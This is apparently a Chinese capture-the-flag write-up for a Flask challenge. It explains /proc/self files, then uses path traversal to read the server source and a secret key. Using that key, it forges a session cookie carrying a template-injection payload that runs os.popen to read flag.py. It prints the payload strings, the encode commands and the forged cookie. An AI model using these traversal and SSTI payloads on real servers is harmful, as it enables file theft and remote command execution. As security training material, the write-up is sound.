<span data-type="text" style="background-color: var(--b3-font-background3);">本题考查对linux系统中/proc/目录下文件作用的了解,同时考查了flask模板注入</span>
关于/proc/目录
Linux系统上的/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
/proc/[pid],当查看当前进程的时候可以用/proc/self代替
cmdline — 启动当前进程的完整命令,但僵尸进程目录中的此文件不包含任何信息
cwd — 指向当前进程运行目录的一个符号链接
environ — 当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示
<span data-type="text" style="background-color: var(--b3-font-background3);">2.FLASK之session伪造</span>
通过使用python的模板注入,然后根据脚本, 获得session
参考链接:
https://blog.csdn.net/qq_44657899/article/details/104594655
https://blog.csdn.net/RABCDXB/article/details/115189884
1.打开环境,发现输入框,尝试输入数据进行测试
2.根据响应包提示,访问该路径
3.发现目录穿越漏洞,结合题目确定是flask模板注入,爆破目录,访问../../../../../proc/self/cmdline
4.那么现在根据 /proc/ 的特性,可以读取正在运行的 pythonserver.py 的源码,访问server.py
5.根据源码提示,访问flag.py和key.py
6.没有权限读取flag.py,接着读key
得到key:Drmhze6EPcv0fN_81Bj-nA
想到使用ssit进行利用,使用flask-session-cookie-manager-master进行payload生成
接下来使用flask_session_cookie_manager3去伪造cookie读flag
python2的ssti代码:
{{''.__class__.__mro__[2].__subclasses__()[40]('flag.py').read()}}
python3的ssti格式
{{''.__class__.__mro__[1].__subclasses__()}}
使用flask_session_cookie_manager3生成payload
python flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat flag.py
').read()}}'}"
python flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\
').read()}}'}"
得到
.eJwdikEKgCAQAL8SXlYvQl2CviKxbGoRmCtZhxD_nnUbZqaI2Ft2XkyiFACNaAPljNjoOBnRDHPDfC-_961IZcb-k3vcr3_cAi8UWjLAGWadOPkowdLVrYE2nR5Q-vTkpKpV1BcrHygP.ZuaUHQ.jtYHviTOBfGWOC2P6bTN3c0GdOM
重新抓包,把session改为生成的自己的,成功得到flag
-s 指的是加密密钥
-t 指的是加密密文(ssti)